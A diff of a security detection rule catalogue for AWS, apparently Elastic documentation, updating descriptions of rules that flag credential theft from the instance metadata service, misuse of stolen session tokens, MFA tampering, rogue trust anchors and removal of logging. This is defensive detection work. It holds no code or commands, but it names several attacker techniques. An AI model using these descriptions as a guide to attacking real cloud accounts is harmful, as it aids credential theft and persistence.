+|<<aws-ec2-instance-console-login-via-assumed-role, AWS EC2 Instance Console Login via Assumed Role>> |Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Data Source: AWS STS], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Lateral Movement], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |5
 
 |<<aws-ec2-instance-interaction-with-iam-service, AWS EC2 Instance Interaction with IAM Service>> |Identifies when an EC2 instance interacts with the AWS IAM service via an assumed role. This is uncommon behavior and could indicate an attacker using compromised credentials to further exploit an environment. For example, an assumed role could be used to create new users for persistence or add permissions for privilege escalation. An EC2 instance assumes a role using their EC2 ID as the session name. This rule looks for the pattern "i-" which is the beginning pattern for assumed role sessions started by an EC2 instance. This is a [building block](https://www.elastic.co/guide/en/security/current/building-block-rule.html) rule and does not generate alerts on its own. It is meant to be used for correlation with other rules to detect suspicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Rule Type: BBR] |None |4
 
@@ -102,17 +102,13 @@ and their rule type is `machine_learning`.
 
 |<<aws-efs-file-system-or-mount-deleted, AWS EFS File System or Mount Deleted>> |Detects when an EFS File System or Mount is deleted. An adversary could break any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts. The mount must be deleted prior to deleting the File System, or the adversary will be unable to delete the File System. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Impact], [Resources: Investigation Guide] |None |209
 
-|<<aws-elasticache-security-group-created, AWS ElastiCache Security Group Created>> |Identifies when an ElastiCache security group has been created. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |209
-
-|<<aws-elasticache-security-group-modified-or-deleted, AWS ElastiCache Security Group Modified or Deleted>> |Identifies when an ElastiCache security group has been modified or deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |209
-
 |<<aws-eventbridge-rule-disabled-or-deleted, AWS EventBridge Rule Disabled or Deleted>> |Identifies when a user has disabled or deleted an EventBridge rule. This activity can result in an unintended loss of visibility in applications or a break in the flow with other AWS services. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Impact], [Resources: Investigation Guide] |None |209
 
 |<<aws-first-occurrence-of-sts-getfederationtoken-request-by-user, AWS First Occurrence of STS GetFederationToken Request by User>> |Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. |[Domain: Cloud], [Data Source: Amazon Web Services], [Data Source: AWS], [Data Source: AWS STS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |5
 
-|<<aws-guardduty-detector-deletion, AWS GuardDuty Detector Deletion>> |Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDuty stops monitoring the environment and all existing findings are lost. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |209
+|<<aws-guardduty-detector-deletion, AWS GuardDuty Detector Deletion>> |Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS GuardDuty], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210
 
-|<<aws-iam-api-calls-via-temporary-session-tokens, AWS IAM API Calls via Temporary Session Tokens>> |Detects use of sensitive AWS IAM API operations using temporary credentials (session tokens starting with 'ASIA'). This may indicate credential theft or abuse of elevated access via a stolen session. It is not common for legitimate users to perform sensitive IAM operations with temporary session tokens. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Data Source: AWS STS], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |3
+|<<aws-iam-api-calls-via-temporary-session-tokens, AWS IAM API Calls via Temporary Session Tokens>> |Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Data Source: AWS STS], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |4
 
 |<<aws-iam-administratoraccess-policy-attached-to-group, AWS IAM AdministratorAccess Policy Attached to Group>> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM AttachGroupPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user group. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |7
 
@@ -124,33 +120,33 @@ and their rule type is `machine_learning`.
 
 |<<aws-iam-brute-force-of-assume-role-policy, AWS IAM Brute Force of Assume Role Policy>> |Identifies a high number of failed attempts to assume an AWS Identity and Access Management (IAM) role. IAM roles are used to delegate access to users or services. An adversary may attempt to enumerate IAM roles in order to determine if a role exists before attempting to assume or hijack the discovered role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Credential Access] |None |212
 
-|<<aws-iam-compromisedkeyquarantine-policy-attached-to-user, AWS IAM CompromisedKeyQuarantine Policy Attached to User>> |This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Credential Access] |None |4
+|<<aws-iam-compromisedkeyquarantine-policy-attached-to-user, AWS IAM CompromisedKeyQuarantine Policy Attached to User>> |This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Credential Access] |None |5
 
 |<<aws-iam-create-user-via-assumed-role-on-ec2-instance, AWS IAM Create User via Assumed Role on EC2 Instance>> |Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |5
 
 |<<aws-iam-customer-managed-policy-attached-to-role-by-rare-user, AWS IAM Customer-Managed Policy Attached to Role by Rare User>> |Detects when an AWS Identity and Access Management (IAM) customer-managed policy is attached to a role by an unusual or unauthorized user. Customer-managed policies are policies created and controlled within an AWS account, granting specific permissions to roles or users when attached. This rule identifies potential privilege escalation by flagging cases where a customer-managed policy is attached to a role by an unexpected actor, which could signal unauthorized access or misuse. Attackers may attach policies to roles to expand permissions and elevate their privileges within the AWS environment. This is a New Terms rule that uses the "cloud.account.id", "user.name" and "target.entity.id" fields to check if the combination of the actor identity and target role name has not been seen before. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation] |None |6
 
-|<<aws-iam-deactivation-of-mfa-device, AWS IAM Deactivation of MFA Device>> |Identifies the deactivation of a specified multi-factor authentication (MFA) device and removes it from association with the user name for which it was originally enabled. In AWS Identity and Access Management (IAM), a device must be deactivated before it can be deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Tactic: Impact], [Tactic: Persistence] |None |212
+|<<aws-iam-deactivation-of-mfa-device, AWS IAM Deactivation of MFA Device>> |Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Resources: Investigation Guide], [Tactic: Impact], [Tactic: Persistence] |None |213
 
-|<<aws-iam-group-creation, AWS IAM Group Creation>> |Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |209
+|<<aws-iam-group-creation, AWS IAM Group Creation>> |Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |210
 
-|<<aws-iam-group-deletion, AWS IAM Group Deletion>> |Identifies the deletion of a specified AWS Identity and Access Management (IAM) resource group. Deleting a resource group does not delete resources that are members of the group; it only deletes the group structure. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Tactic: Impact], [Resources: Investigation Guide] |None |209
+|<<aws-iam-group-deletion, AWS IAM Group Deletion>> |Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Tactic: Impact], [Resources: Investigation Guide] |None |210
 
 |<<aws-iam-login-profile-added-for-root, AWS IAM Login Profile Added for Root>> |Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |4
 
 |<<aws-iam-login-profile-added-to-user, AWS IAM Login Profile Added to User>> |Identifies when an AWS IAM login profile is added to a user. Adversaries may add a login profile to an IAM user who typically does not have one and is used only for programmatic access. This can be used to maintain access to the account even if the original access key is rotated or disabled. This is a building block rule and does not generate alerts on its own. It is meant to be used for correlation with other rules to detect suspicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Rule Type: BBR] |None |4
 
-|<<aws-iam-roles-anywhere-profile-creation, AWS IAM Roles Anywhere Profile Creation>> |Identifies the creation of an AWS Roles Anywhere profile. AWS Roles Anywhere is a feature that allows you to use AWS Identity and Access Management (IAM) profiles to manage access to your AWS resources from any location via trusted anchors. This rule detects the creation of a profile that can be assumed from any service. Adversaries may create profiles tied to overly permissive roles to maintain access to AWS resources. Ensure that the profile creation is expected and that the trust policy is configured securely. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |5
+|<<aws-iam-roles-anywhere-profile-creation, AWS IAM Roles Anywhere Profile Creation>> |Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |6
 
-|<<aws-iam-roles-anywhere-trust-anchor-created-with-external-ca, AWS IAM Roles Anywhere Trust Anchor Created with External CA>> |Identifies when an AWS IAM Roles Anywhere Trust Anchor with an external certificate authority is created. AWS Roles Anywhere profiles are legitimate profiles that can be created by administrators to allow access from any location. This rule detects when a trust anchor is created with an external certificate authority that is not managed by AWS Certificate Manager Private Certificate Authority (ACM PCA). Adversaries may accomplish this to maintain persistence in the environment. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |5
+|<<aws-iam-roles-anywhere-trust-anchor-created-with-external-ca, AWS IAM Roles Anywhere Trust Anchor Created with External CA>> |Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |6
 
-|<<aws-iam-saml-provider-updated, AWS IAM SAML Provider Updated>> |Identifies when a user has updated a SAML provider in AWS. SAML providers are used to enable federated access to the AWS Management Console. This activity could be an indication of an attacker attempting to escalate privileges. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |210
+|<<aws-iam-saml-provider-updated, AWS IAM SAML Provider Updated>> |Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring  "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |211
 
-|<<aws-iam-user-addition-to-group, AWS IAM User Addition to Group>> |Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |211
+|<<aws-iam-user-addition-to-group, AWS IAM User Addition to Group>> |Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |212
 
 |<<aws-iam-user-created-access-keys-for-another-user, AWS IAM User Created Access Keys For Another User>> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |10
 
-|<<aws-iam-virtual-mfa-device-registration-attempt-with-session-token, AWS IAM Virtual MFA Device Registration Attempt with Session Token>> |Identifies attempts to register or enable an IAM Virtual MFA device using temporary credentials (access keys starting with 'ASIA'). This may indicate an adversary attempting to escalate privileges or establish persistence using stolen session tokens. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |2
+|<<aws-iam-virtual-mfa-device-registration-attempt-with-session-token, AWS IAM Virtual MFA Device Registration Attempt with Session Token>> |Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |3
 
 |<<aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion, AWS KMS Customer Managed Key Disabled or Scheduled for Deletion>> |Identifies attempts to disable or schedule the deletion of an AWS KMS Customer Managed Key (CMK). Deleting an AWS KMS key is destructive and potentially dangerous. It deletes the key material and all metadata associated with the KMS key and is irreversible. After a KMS key is deleted, the data that was encrypted under that KMS key can no longer be decrypted, which means that data becomes unrecoverable. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS KMS], [Use Case: Log Auditing], [Tactic: Impact], [Resources: Investigation Guide] |None |109
 
@@ -164,8 +160,6 @@ and their rule type is `machine_learning`.
 
 |<<aws-management-console-root-login, AWS Management Console Root Login>> |Identifies a successful login to the AWS Management Console by the Root user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Privilege Escalation] |None |212
 
-|<<aws-rds-cluster-creation, AWS RDS Cluster Creation>> |Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Persistence], [Resources: Investigation Guide] |None |209
-
 |<<aws-rds-db-instance-made-public, AWS RDS DB Instance Made Public>> |Identifies the creation or modification of an AWS RDS DB instance to enable public access. DB instances may contain sensitive data that can be abused if shared with unauthorized accounts or made public. Adversaries may enable public access on a DB instance to maintain persistence or evade defenses by bypassing access controls. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion] |None |5
 
 |<<aws-rds-db-instance-restored, AWS RDS DB Instance Restored>> |An adversary with a set of compromised credentials may attempt to make copies of running or deleted RDS databases in order to evade defense mechanisms or access data. This rule identifies successful attempts to restore a DB instance using the RDS `RestoreDBInstanceFromDBSnapshot` or `RestoreDBInstanceFromS3` API operations. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210
@@ -178,14 +172,6 @@ and their rule type is `machine_learning`.
 
 |<<aws-rds-db-snapshot-shared-with-another-account, AWS RDS DB Snapshot Shared with Another Account>> |Identifies an AWS RDS DB snapshot being shared with another AWS account. DB snapshots contain a full backup of an entire DB instance including sensitive data that can be abused if shared with unauthorized accounts or made public. Adversaries may use snapshots to restore a DB Instance in an environment they control as a means of data exfiltration. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |5
 
-|<<aws-rds-instance-creation, AWS RDS Instance Creation>> |Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Persistence], [Resources: Investigation Guide] |None |209
-
-|<<aws-rds-instance-cluster-stoppage, AWS RDS Instance/Cluster Stoppage>> |Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Impact], [Resources: Investigation Guide] |None |209
-
-|<<aws-rds-security-group-creation, AWS RDS Security Group Creation>> |Identifies the creation of an Amazon Relational Database Service (RDS) Security group. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Tactic: Persistence], [Resources: Investigation Guide] |None |209
-
-|<<aws-rds-security-group-deletion, AWS RDS Security Group Deletion>> |Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Tactic: Impact], [Resources: Investigation Guide] |None |209
-
 |<<aws-rds-snapshot-deleted, AWS RDS Snapshot Deleted>> |Identifies the deletion of an AWS RDS DB snapshot. Snapshots contain a full backup of an entire DB instance. Unauthorized deletion of snapshots can make it impossible to recover critical or sensitive data. This rule detects deleted snapshots and instances modified so that backupRetentionPeriod is set to 0 which disables automated backups and is functionally similar to deleting the system snapshot. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Impact], [Resources: Investigation Guide] |None |5
 
 |<<aws-rds-snapshot-export, AWS RDS Snapshot Export>> |Identifies the export of an Amazon Relational Database Service (RDS) Aurora database snapshot. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |209
@@ -198,7 +184,7 @@ and their rule type is `machine_learning`.
 
 |<<aws-route53-private-hosted-zone-associated-with-a-vpc, AWS Route53 private hosted zone associated with a VPC>> |Identifies when a Route53 private hosted zone has been associated with VPC. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Route53], [Use Case: Asset Visibility], [Tactic: Persistence], [Resources: Investigation Guide] |None |209
 
-|<<aws-s3-bucket-configuration-deletion, AWS S3 Bucket Configuration Deletion>> |Identifies the deletion of various Amazon Simple Storage Service (S3) bucket configuration components. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210
+|<<aws-s3-bucket-configuration-deletion, AWS S3 Bucket Configuration Deletion>> |Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Tactic: Impact], [Resources: Investigation Guide] |None |211
 
 |<<aws-s3-bucket-enumeration-or-brute-force, AWS S3 Bucket Enumeration or Brute Force>> |Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Log Auditing], [Tactic: Impact], [Tactic: Discovery], [Tactic: Collection] |None |6
 
@@ -242,7 +228,7 @@ and their rule type is `machine_learning`.
 
 |<<aws-sts-getcalleridentity-api-called-for-the-first-time, AWS STS GetCallerIdentity API Called for the First Time>> |An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Discovery], [Resources: Investigation Guide] |None |7
 
-|<<aws-sts-getsessiontoken-abuse, AWS STS GetSessionToken Abuse>> |Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |209
+|<<aws-sts-getsessiontoken-usage, AWS STS GetSessionToken Usage>> |Identifies the use of GetSessionToken API calls by IAM users or Root Account. While this is a common and legitimate operation used to obtain temporary credentials, it also provides adversaries with a method to generate short-lived tokens for stealthy activity. Attackers who compromise IAM user access keys may call GetSessionToken to create temporary credentials, which they can then use to move laterally, escalate privileges, or persist after key rotation. This rule is intended as a BBR to establish patterns of typical STS usage and support correlation with higher-fidelity detections. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide], [Rule Type: BBR] |None |210
 
 |<<aws-sts-role-assumption-by-service, AWS STS Role Assumption by Service>> |Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement] |None |213
 
@@ -250,6 +236,8 @@ and their rule type is `machine_learning`.
 
 |<<aws-sts-role-chaining, AWS STS Role Chaining>> |Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |3
 
